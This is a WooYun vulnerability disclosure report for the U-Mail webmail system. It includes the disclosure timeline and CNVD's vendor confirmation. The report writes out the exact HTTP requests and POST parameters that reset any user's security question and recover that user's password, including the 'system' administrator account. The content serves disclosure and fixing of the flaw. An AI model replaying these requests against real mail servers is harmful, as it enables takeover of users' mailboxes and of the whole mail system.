漏洞概要 关注数(24) 关注此漏洞
缺陷编号:wooyun-2015-093249
漏洞标题:U-Mail邮件系统任意用户登录漏洞
相关厂商:U-Mail
漏洞作者: Ano_Tom
提交时间:2015-01-27 15:31
修复时间:2015-04-27 15:32
公开时间:2015-04-27 15:32
漏洞类型:设计缺陷/逻辑错误
危害等级:高
自评Rank:20
漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理
漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]
Tags标签: 无
漏洞详情
披露状态:
2015-01-27: 细节已通知厂商并且等待厂商处理中
2015-02-01: 厂商已经确认,细节仅向厂商公开
2015-02-04: 细节向第三方安全合作伙伴开放
2015-03-28: 细节向核心白帽子及相关领域专家公开
2015-04-07: 细节向普通白帽子公开
2015-04-17: 细节向实习白帽子公开
2015-04-27: 细节向公众公开
简要描述:
不多说了,这邮件系统问题简直太多,真揪心
详细说明:
漏洞文件
/fast/option/module/o_password.php代码
找回密码过程是,首先提交要获得密码的用户名,获得一个phpsessid,如图
http://mail.fuck.com/webmail/fast/index.php?module=operate&action=login post数据为[email protected]&link=?
然后访问该方法,更新用户的密码提示问题和答案
http://mail.fuck.com/webmail/fast/option/index.php?module=operate&action=question post数据为question=hello&answer=tom改为自己设置的密码问题即可
然后执行找回密码方法,请求为
http://mail.fuck.com/webmail/getpass.php post数据为email=test0001%40fuck.com&question=hello&answer=tom&update=%E7%A1%AE%E8%AE%A4
这是找回任意普通用户的密码,由于管理员system也在该表里,所以我们可以将第一个请求换成[email protected]&link=?,然后更新其密保问题,然后找回密码即可,如图
数据库为
其中,得到管理员密码后,http://mail.fuck.com/webmail/admin/ 在此处登录,登录即可操作整个邮箱系统,如图
批量获得system的就不演示了
漏洞证明:
如上
修复方案:
逻辑问题
版权声明:转载请注明来源 Ano_Tom@乌云
漏洞回应
厂商回应:
危害等级:高
漏洞Rank:12
确认时间:2015-02-01 10:48
厂商回复:
CNVD确认并复现所述情况,已经由CNVD通过网站公开联系方式(或以往建立的处置渠道)向网站管理单位(软件生产厂商)通报。
最新状态:
暂无